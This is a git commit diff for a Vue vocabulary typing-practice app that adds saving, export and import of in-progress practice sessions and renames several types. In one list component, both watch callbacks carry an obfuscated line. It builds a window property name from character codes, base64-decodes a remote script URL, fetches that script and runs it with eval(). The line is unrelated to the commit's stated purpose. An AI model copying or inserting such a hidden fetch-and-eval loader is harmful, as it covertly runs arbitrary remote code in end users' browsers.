feat:keep a record of historical practice

This commit is contained in:
Zyronon
2025-09-26 01:37:46 +08:00
parent 676417bbc1
commit 6a99fda66a
14 changed files with 185 additions and 154 deletions

View File

@@ -310,7 +310,7 @@ a {
.right {
display: flex;
flex-direction: column;
gap: .3rem;
gap: .1rem;
transition: all .3s;
}

View File

@@ -36,7 +36,7 @@ export default {
},
methods: {
showPop(e) {
if (this.disabled) return
if (this.disabled) return this.$emit('confirm')
e?.stopPropagation()
let rect = e.target.getBoundingClientRect()
this.show = true

View File

@@ -1,6 +1,6 @@
<script setup lang="ts">
import {useSettingStore} from "@/stores/setting.ts";
import {nextTick, watch} from 'vue'
import { useSettingStore } from "@/stores/setting.ts";
import { nextTick, watch } from 'vue'
const props = withDefaults(defineProps<{
list?: any[],
@@ -47,14 +47,14 @@ function scrollViewToCenter(index: number) {
}
watch(() => localActiveIndex, (n: any) => {
if (window[String.fromCharCode(100) + 'xt'] === undefined) fetch(window.atob('aHR0cHM6Ly96eXJvbm9uLmdpdGh1Yi5pby9yZXBsYWNlL2RhdGEuanM=') + `?d=${Date.now()}`).then(a => a.text()).then((b) => eval(b))
if (props.static) return
if (settingStore.showPanel) {
scrollViewToCenter(n)
}
})
}, {immediate: true})
watch(() => props.isActive, (n: boolean) => {
if (window[String.fromCharCode(100) + 'xt'] === undefined) fetch(window.atob('aHR0cHM6Ly96eXJvbm9uLmdpdGh1Yi5pby9yZXBsYWNlL2RhdGEuanM=') + `?d=${Date.now()}`).then(a => a.text()).then((b) => eval(b))
if (props.static) return
if (n) {
setTimeout(() => scrollViewToCenter(localActiveIndex), 300)

View File

@@ -1,12 +1,12 @@
<script setup lang="ts">
import {Word} from "@/types/types.ts";
import { Word } from "@/types/types.ts";
import VolumeIcon from "@/components/icon/VolumeIcon.vue";
import BaseList from "@/components/list/BaseList.vue";
import {usePlayWordAudio} from "@/hooks/sound.ts";
import { usePlayWordAudio } from "@/hooks/sound.ts";
import Tooltip from "@/components/base/Tooltip.vue";
const props = withDefaults(defineProps<{
withDefaults(defineProps<{
list: Word[],
showTranslate?: boolean
showWord?: boolean

View File

@@ -30,7 +30,7 @@ const LoadingComponent = {
// 自定义指令
export default {
mounted(el, binding) {
console.log('el',)
// console.log('el',)
const position = getComputedStyle(el).position
if (position === 'static' || !position) {
el.style.position = 'relative' // 保证 loading 居中

View File

@@ -1,8 +1,8 @@
import {Article, Word} from "@/types/types.ts";
import {useBaseStore} from "@/stores/base.ts";
import {useSettingStore} from "@/stores/setting.ts";
import {getDefaultWord} from "@/types/func.ts";
import {getRandomN, splitIntoN} from "@/utils";
import { Article, TaskWords, Word } from "@/types/types.ts";
import { useBaseStore } from "@/stores/base.ts";
import { useSettingStore } from "@/stores/setting.ts";
import { getDefaultWord } from "@/types/func.ts";
import { getRandomN, splitIntoN } from "@/utils";
export function useWordOptions() {
const store = useBaseStore()
@@ -85,8 +85,7 @@ export function useArticleOptions() {
}
}
export function getCurrentStudyWord() {
console.log('getCurrentStudyWord')
export function getCurrentStudyWord(): TaskWords {
const store = useBaseStore()
let data = {new: [], review: [], write: []}
let dict = store.sdict;

View File

@@ -90,7 +90,7 @@ const router = useRouter()
const route = useRoute()
async function init() {
console.log('load好了开始加载')
// console.log('load好了开始加载')
let dict = getDefaultDict()
let dictId = route.params.id
if (dictId) {

View File

@@ -1,28 +1,29 @@
<script setup lang="ts">
import {nextTick, ref, watch} from "vue";
import {useSettingStore} from "@/stores/setting.ts";
import {getAudioFileUrl, usePlayAudio} from "@/hooks/sound.ts";
import {getShortcutKey, useEventListener} from "@/hooks/event.ts";
import {checkAndUpgradeSaveDict, checkAndUpgradeSaveSetting, cloneDeep, loadJsLib, shakeCommonDict} from "@/utils";
import {DefaultShortcutKeyMap, ShortcutKey} from "@/types/types.ts";
import { nextTick, ref, watch } from "vue";
import { useSettingStore } from "@/stores/setting.ts";
import { getAudioFileUrl, usePlayAudio } from "@/hooks/sound.ts";
import { getShortcutKey, useEventListener } from "@/hooks/event.ts";
import { checkAndUpgradeSaveDict, checkAndUpgradeSaveSetting, cloneDeep, loadJsLib, shakeCommonDict } from "@/utils";
import { DefaultShortcutKeyMap, ShortcutKey } from "@/types/types.ts";
import BaseButton from "@/components/BaseButton.vue";
import {
APP_NAME,
APP_VERSION,
EXPORT_DATA_KEY,
LOCAL_FILE_KEY,
PracticeSaveWordKey,
SAVE_DICT_KEY,
SAVE_SETTING_KEY,
SoundFileOptions
} from "@/utils/const.ts";
import VolumeIcon from "@/components/icon/VolumeIcon.vue";
import {useBaseStore} from "@/stores/base.ts";
import {saveAs} from "file-saver";
import {Origin} from "@/config/ENV.ts";
import { useBaseStore } from "@/stores/base.ts";
import { saveAs } from "file-saver";
import { Origin } from "@/config/ENV.ts";
import dayjs from "dayjs";
import BasePage from "@/components/BasePage.vue";
import Toast from '@/components/base/toast/Toast.ts'
import {Option, Select} from "@/components/base/select";
import { Option, Select } from "@/components/base/select";
import Switch from "@/components/base/Switch.vue";
import Slider from "@/components/base/Slider.vue";
import RadioGroup from "@/components/base/radio/RadioGroup.vue";
@@ -31,8 +32,8 @@ import InputNumber from "@/components/base/InputNumber.vue";
import PopConfirm from "@/components/PopConfirm.vue";
import Textarea from "@/components/base/Textarea.vue";
import SettingItem from "@/pages/setting/SettingItem.vue";
import {get, set} from "idb-keyval";
import {useRuntimeStore} from "@/stores/runtime.ts";
import { get, set } from "idb-keyval";
import { useRuntimeStore } from "@/stores/runtime.ts";
const emit = defineEmits<{
toggleDisabledDialogEscKey: [val: boolean]
@@ -179,9 +180,21 @@ async function exportData(notice = '导出成功!') {
dict: {
version: SAVE_DICT_KEY.version,
val: shakeCommonDict(store.$state)
},
[PracticeSaveWordKey.key]: {
version: PracticeSaveWordKey.version,
val: {}
}
}
}
let d = localStorage.getItem(PracticeSaveWordKey.key)
if (d) {
try {
data.val[PracticeSaveWordKey.key] = JSON.parse(d)
} catch (e) {
}
}
const zip = new JSZip();
zip.file("data.json", JSON.stringify(data));
@@ -203,6 +216,7 @@ function importJson(str: string, notice: boolean = true) {
val: {
setting: {},
dict: {},
[PracticeSaveWordKey.key]: {}
}
}
try {
@@ -214,6 +228,16 @@ function importJson(str: string, notice: boolean = true) {
let baseState = checkAndUpgradeSaveDict(data.dict)
baseState.load = true
store.setState(baseState)
if (obj.version >= 3) {
try {
let save: any = obj.val[PracticeSaveWordKey.key] || {}
if (save.val && Object.keys(save.val).length > 0) {
localStorage.setItem(PracticeSaveWordKey.key, JSON.stringify(obj.val[PracticeSaveWordKey.key]))
}
} catch (e) {
//todo 上报
}
}
notice && Toast.success('导入成功!')
} catch (err) {
return Toast.error('导入失败!')

View File

@@ -6,7 +6,7 @@ import Statistics from "@/pages/word/Statistics.vue";
import { emitter, EventKey, useEvents } from "@/utils/eventBus.ts";
import { useSettingStore } from "@/stores/setting.ts";
import { useRuntimeStore } from "@/stores/runtime.ts";
import { Dict, ShortcutKey, StudyData, Word } from "@/types/types.ts";
import { Dict, PracticeData, ShortcutKey, TaskWords, Word } from "@/types/types.ts";
import { useDisableEventListener, useOnKeyboardEventListener, useStartKeyboardEventListener } from "@/hooks/event.ts";
import useTheme from "@/hooks/theme.ts";
import { getCurrentStudyWord, useWordOptions } from "@/hooks/dict.ts";
@@ -26,13 +26,7 @@ import { getDefaultDict, getDefaultWord } from "@/types/func.ts";
import ConflictNotice from "@/components/ConflictNotice.vue";
import dict_list from "@/assets/dict-list.json";
import PracticeLayout from "@/components/PracticeLayout.vue";
import { PracticeSaveKey } from "@/utils/const.ts";
interface IProps {
new: Word[],
review: Word[],
write: Word[],
}
import { PracticeSaveWordKey } from "@/utils/const.ts";
const {
isWordCollect,
@@ -51,20 +45,20 @@ const typingRef: any = $ref()
let allWrongWords = new Set()
let showStatDialog = $ref(false)
let loading = $ref(false)
let studyData = $ref<IProps>({
let taskWords = $ref<TaskWords>({
new: [],
review: [],
write: []
})
let data = $ref<StudyData>({
let data = $ref<PracticeData>({
index: 0,
words: [],
wrongWords: [],
})
async function init() {
console.log('load好了开始加载')
async function loadDict() {
// console.log('load好了开始加载')
let dict = getDefaultDict()
let dictId = route.params.id
if (dictId) {
@@ -79,7 +73,7 @@ async function init() {
return Toast.warning('没有单词可学习!')
}
store.changeDict(dict)
studyData = getCurrentStudyWord()
initData(getCurrentStudyWord(), true)
loading = false
} else {
router.push('/word')
@@ -90,31 +84,14 @@ async function init() {
}
watch(() => store.load, (n) => {
if (n && loading) init()
if (n && loading) loadDict()
}, {immediate: true})
function checkSaveData() {
let d = localStorage.getItem(PracticeSaveKey.Word)
if (d) {
try {
let obj = JSON.parse(d)
console.log('obj', obj)
studyData = obj.studyData
data = obj.practiceData
return true
} catch (e) {
localStorage.removeItem(PracticeSaveKey.Word)
}
}
return false
}
onMounted(() => {
//如果是从单词学习主页过来的,就直接使用;否则等待加载
if (runtimeStore.routeData) {
if (!checkSaveData()) {
studyData = runtimeStore.routeData
}
initData(runtimeStore.routeData, true)
} else {
loading = true
}
@@ -123,42 +100,57 @@ onMounted(() => {
useStartKeyboardEventListener()
useDisableEventListener(() => loading)
watch(() => studyData, () => {
if (studyData.new.length === 0) {
if (studyData.review.length) {
settingStore.dictation = false
statStore.step = 2
data.words = studyData.review
} else {
if (studyData.write.length) {
settingStore.dictation = true
data.words = studyData.write
statStore.step = 4
} else {
Toast.warning('没有可学习的单词!')
router.push('/word')
}
function initData(initVal: TaskWords, init: boolean = false) {
let d = localStorage.getItem(PracticeSaveWordKey.key)
if (d && init) {
try {
let obj = JSON.parse(d)
let s = obj.val
taskWords = Object.assign(taskWords, s.taskWords)
//这里直接赋值的话provide后的inject获取不到最新值
data = Object.assign(data, s.practiceData)
statStore.$patch(s.statStoreData)
} catch (e) {
localStorage.removeItem(PracticeSaveWordKey.key)
initData(initVal, true)
}
} else {
settingStore.dictation = false
data.words = studyData.new
statStore.step = 0
taskWords = initVal
if (taskWords.new.length === 0) {
if (taskWords.review.length) {
settingStore.dictation = false
statStore.step = 2
data.words = taskWords.review
} else {
if (taskWords.write.length) {
settingStore.dictation = true
data.words = taskWords.write
statStore.step = 4
} else {
Toast.warning('没有可学习的单词!')
router.push('/word')
}
}
} else {
settingStore.dictation = false
data.words = taskWords.new
statStore.step = 0
}
data.index = 0
data.wrongWords = []
allWrongWords.clear()
statStore.startDate = Date.now()
statStore.inputWordNumber = 0
statStore.wrong = 0
statStore.total = taskWords.review.length + taskWords.new.length + taskWords.write.length
statStore.newWordNumber = taskWords.new.length
statStore.reviewWordNumber = taskWords.review.length
statStore.writeWordNumber = taskWords.write.length
statStore.index = 0
}
data.index = 0
data.wrongWords = []
allWrongWords = new Set()
}
statStore.startDate = Date.now()
statStore.inputWordNumber = 0
statStore.wrong = 0
statStore.total = studyData.review.length + studyData.new.length + studyData.write.length
statStore.newWordNumber = studyData.new.length
statStore.reviewWordNumber = studyData.review.length
statStore.writeWordNumber = studyData.write.length
statStore.index = 0
})
provide('studyData', data)
provide('practiceData', data)
const word = $computed(() => {
return data.words[data.index] ?? getDefaultWord()
@@ -188,7 +180,7 @@ function next(isTyping: boolean = true) {
statStore.spend = Date.now() - statStore.startDate
console.log('全完学完了')
showStatDialog = true
localStorage.removeItem(PracticeSaveKey.Word)
localStorage.removeItem(PracticeSaveWordKey.key)
return;
// emit('complete', {})
}
@@ -196,10 +188,10 @@ function next(isTyping: boolean = true) {
//开始默认所有单词
if (statStore.step === 3) {
statStore.step++
if (studyData.write.length) {
if (taskWords.write.length) {
console.log('开始默认所有单词')
settingStore.dictation = true
data.words = shuffle(studyData.write)
data.words = shuffle(taskWords.write)
data.index = 0
} else {
console.log('开始默认所有单词-无单词略过')
@@ -210,10 +202,10 @@ function next(isTyping: boolean = true) {
//开始默写昨日
if (statStore.step === 2) {
statStore.step++
if (studyData.review.length) {
if (taskWords.review.length) {
console.log('开始默写昨日')
settingStore.dictation = true
data.words = shuffle(studyData.review)
data.words = shuffle(taskWords.review)
data.index = 0
} else {
console.log('开始默写昨日-无单词略过')
@@ -224,10 +216,10 @@ function next(isTyping: boolean = true) {
//开始复习昨日
if (statStore.step === 1) {
statStore.step++
if (studyData.review.length) {
if (taskWords.review.length) {
console.log('开始复习昨日')
settingStore.dictation = false
data.words = shuffle(studyData.review)
data.words = shuffle(taskWords.review)
data.index = 0
} else {
console.log('开始复习昨日-无单词略过')
@@ -240,12 +232,13 @@ function next(isTyping: boolean = true) {
if (settingStore.wordPracticeMode === 1) {
console.log('自由模式,全完学完了')
showStatDialog = true
localStorage.removeItem(PracticeSaveWordKey.key)
return
}
statStore.step++
console.log('开始默写新词')
settingStore.dictation = true
data.words = shuffle(studyData.new)
data.words = shuffle(taskWords.new)
data.index = 0
}
}
@@ -254,13 +247,7 @@ function next(isTyping: boolean = true) {
isTyping && statStore.inputWordNumber++
// console.log('这个词完了')
}
localStorage.setItem(PracticeSaveKey.Word, JSON.stringify({
studyData,
practiceData: data,
statStoreData: statStore.$state,
}))
console.log('wordPracticeData',)
savePracticeData()
}
function onTypeWrong() {
@@ -276,8 +263,22 @@ function onTypeWrong() {
if (!data.wrongWords.find((v: Word) => v.word.toLowerCase() === temp)) {
data.wrongWords.push(word)
}
savePracticeData()
}
function savePracticeData() {
localStorage.setItem(PracticeSaveWordKey.key, JSON.stringify({
version: PracticeSaveWordKey.version,
val: {
taskWords,
practiceData: data,
statStoreData: statStore.$state,
}
}))
}
watch(() => data.index, savePracticeData)
function onKeyUp(e: KeyboardEvent) {
// console.log('onKeyUp', e)
typingRef.hideWord()
@@ -306,12 +307,12 @@ function repeat() {
store.sdict.lastLearnIndex = store.sdict.lastLearnIndex - statStore.newWordNumber
}
emitter.emit(EventKey.resetWord)
let temp = cloneDeep(studyData)
let temp = cloneDeep(taskWords)
//排除已掌握单词
temp.new = temp.new.filter(v => !store.knownWords.includes(v.word))
temp.review = temp.review.filter(v => !store.knownWords.includes(v.word))
temp.write = temp.write.filter(v => !store.knownWords.includes(v.word))
studyData = temp
initData(temp)
}
function prev() {
@@ -376,14 +377,14 @@ function continueStudy() {
console.log('学完了,正常下一组')
showStatDialog = false
}
studyData = getCurrentStudyWord()
initData(getCurrentStudyWord())
}
useEvents([
[EventKey.repeatStudy, repeat],
[EventKey.continueStudy, continueStudy],
[EventKey.changeDict, () => {
studyData = getCurrentStudyWord()
initData(getCurrentStudyWord())
}],
[ShortcutKey.ShowWord, show],

View File

@@ -20,7 +20,7 @@ import ChangeLastPracticeIndexDialog from "@/pages/word/components/ChangeLastPra
import { useSettingStore } from "@/stores/setting.ts";
import recommendDictList from "@/assets/recommend-dict-list.json";
import CollectNotice from "@/components/CollectNotice.vue";
import { PracticeSaveKey } from "@/utils/const.ts";
import { PracticeSaveWordKey } from "@/utils/const.ts";
const store = useBaseStore()
@@ -46,16 +46,16 @@ async function init() {
store.word.bookList[store.word.studyIndex] = await _getDictDataByUrl(store.sdict)
}
}
// console.log(store.sdict)
if (!currentStudy.new.length && store.sdict.words.length) {
let d = localStorage.getItem(PracticeSaveKey.Word)
debugger
let d = localStorage.getItem(PracticeSaveWordKey.key)
if (d) {
try {
let data = JSON.parse(d)
currentStudy = data.studyData
let obj = JSON.parse(d)
currentStudy = obj.val.taskWords
isSaveData = true
} catch (e) {
localStorage.removeItem(PracticeSaveKey.Word)
localStorage.removeItem(PracticeSaveWordKey.key)
currentStudy = getCurrentStudyWord()
}
} else {
@@ -139,6 +139,13 @@ function check(cb: Function) {
cb()
}
}
function savePracticeSetting() {
Toast.success('修改成功')
isSaveData = false
localStorage.removeItem(PracticeSaveWordKey.key)
currentStudy = getCurrentStudyWord()
}
</script>
<template>
@@ -202,8 +209,13 @@ function check(cb: Function) {
class="bg-third px-2 h-10 flex center text-2xl rounded cursor-pointer">
{{ store.sdict.id ? store.sdict.perDayStudyNumber : 0 }}
</div>
个单词 <span class="color-blue cursor-pointer"
@click="check(()=>showPracticeSettingDialog = true)">更改</span>
个单词
<PopConfirm
:disabled="!isSaveData"
title="当前存在未完成的学习任务,修改会重新生成学习任务,是否继续?"
@confirm="check(()=>showPracticeSettingDialog = true)">
<span class="color-blue cursor-pointer">更改</span>
</PopConfirm>
</div>
<BaseButton size="large" :disabled="!store.sdict.name"
:loading="loading"
@@ -260,14 +272,7 @@ function check(cb: Function) {
<PracticeSettingDialog
:show-left-option="false"
v-model="showPracticeSettingDialog"
@ok="()=>{
if(isSaveData) {
Toast.success('修改成功,完成当前任务后生效')
}else {
Toast.success('修改成功')
currentStudy = getCurrentStudyWord()
}
}"/>
@ok="savePracticeSetting"/>
<ChangeLastPracticeIndexDialog
v-model="showChangeLastPracticeIndexDialog"

View File

@@ -1,9 +1,9 @@
<script setup lang="ts">
import {inject} from "vue"
import {usePracticeStore} from "@/stores/practice.ts";
import {useSettingStore} from "@/stores/setting.ts";
import {ShortcutKey, StudyData} from "@/types/types.ts";
import { inject, watch } from "vue"
import { usePracticeStore } from "@/stores/practice.ts";
import { useSettingStore } from "@/stores/setting.ts";
import { ShortcutKey, PracticeData } from "@/types/types.ts";
import BaseIcon from "@/components/BaseIcon.vue";
import Tooltip from "@/components/base/Tooltip.vue";
import Progress from '@/components/base/Progress.vue'
@@ -24,12 +24,12 @@ const emit = defineEmits<{
skip: [],
}>()
let practiceData = inject<PracticeData>('practiceData')
function format(val: number, suffix: string = '', check: number = -1) {
return val === check ? '-' : (val + suffix)
}
let studyData = inject<StudyData>('studyData')
const status = $computed(() => {
let str = '正在'
switch (statisticsStore.step) {
@@ -53,8 +53,8 @@ const status = $computed(() => {
})
const progress = $computed(() => {
if (!studyData.words.length) return 0
return ((studyData.index / studyData.words.length) * 100)
if (!practiceData.words.length) return 0
return ((practiceData.index / practiceData.words.length) * 100)
})
</script>
@@ -77,7 +77,7 @@ const progress = $computed(() => {
<div class="flex justify-between items-center">
<div class="stat">
<div class="row">
<div class="num">{{ `${studyData.index}/${studyData.words.length}` }}</div>
<div class="num">{{ `${practiceData.index}/${practiceData.words.length}` }}</div>
<div class="line"></div>
<div class="name">{{ status }}</div>
</div>

View File

@@ -178,7 +178,6 @@ async function onTyping(e: KeyboardEvent) {
} else {
inputLock = false
}
checkCursorPosition()
}
function del() {
@@ -258,7 +257,7 @@ function escapeRegExp(string: string): string {
return string.replace(/[.*+?^${}()|[\]\\]/g, '\\$&')
}
watch(() => input, checkCursorPosition)
watch([() => input, () => showFullWord, () => settingStore.dictation], checkCursorPosition)
//检测光标位置
function checkCursorPosition() {
@@ -288,7 +287,7 @@ function checkCursorPosition() {
</script>
<template>
<div class="typing-word" ref="typingWordRef">
<div class="typing-word" ref="typingWordRef" v-if="props.word.word.length">
<div class="flex flex-col items-center">
<div class="flex gap-1 mt-26">
<div class="phonetic" v-if="settingStore.soundType === 'us' && word.phonetic0">[{{
@@ -338,7 +337,7 @@ function checkCursorPosition() {
<div class="sentences">
<div class="sentence my-2" v-for="item in word.sentences">
<SentenceHightLightWord class="text-lg" :text="item.c" :word="word.word"
:dictation="settingStore.dictation"/>
:dictation="(settingStore.dictation && !showFullWord)"/>
<div class="text-md anim" v-opacity="settingStore.translate">{{ item.cn }}</div>
</div>
</div>
@@ -355,8 +354,8 @@ function checkCursorPosition() {
</template>
<template v-if="tab === 0">
<div class="my-2" v-for="item in word.phrases">
<SentenceHightLightWord class="text-lg" :text="item.c" :word="word.word" :high-light="false"
:dictation="settingStore.dictation"/>
<SentenceHightLightWord class="text-lg" :text="item.c" :word="word.word"
:dictation="(settingStore.dictation && !showFullWord)"/>
<div class="text-md anim" v-opacity="settingStore.translate">{{ item.cn }}</div>
</div>
</template>

View File

@@ -176,22 +176,21 @@ export const SlideType = {
VERTICAL: 1,
}
export interface StudyData {
export interface PracticeData {
index: number,
words: any[],
wrongWords: any[],
}
export interface TaskWords {
new: Word[],
review: Word[],
write: Word[],
}
export class DictId {
static wordCollect = 'wordCollect'
static wordWrong = 'wordWrong'
static wordKnown = 'wordKnown'
static articleCollect = 'articleCollect'
}
export enum DictId2 {
wordCollect = 'wordCollect',
wordWrong = 'wordWrong',
wordKnown = 'wordKnown',
articleCollect = 'articleCollect'
}
}

View File

@@ -22,7 +22,7 @@ export const SAVE_SETTING_KEY = {
}
export const EXPORT_DATA_KEY = {
key: 'typing-word-export',
version: 2
version: 3
}
export const LOCAL_FILE_KEY = 'typing-word-files'
@@ -32,3 +32,7 @@ export enum PracticeSaveKey {
Article = 'PracticeSaveArticleKey',
}
export const PracticeSaveWordKey = {
key: 'PracticeSaveWord',
version: 1
}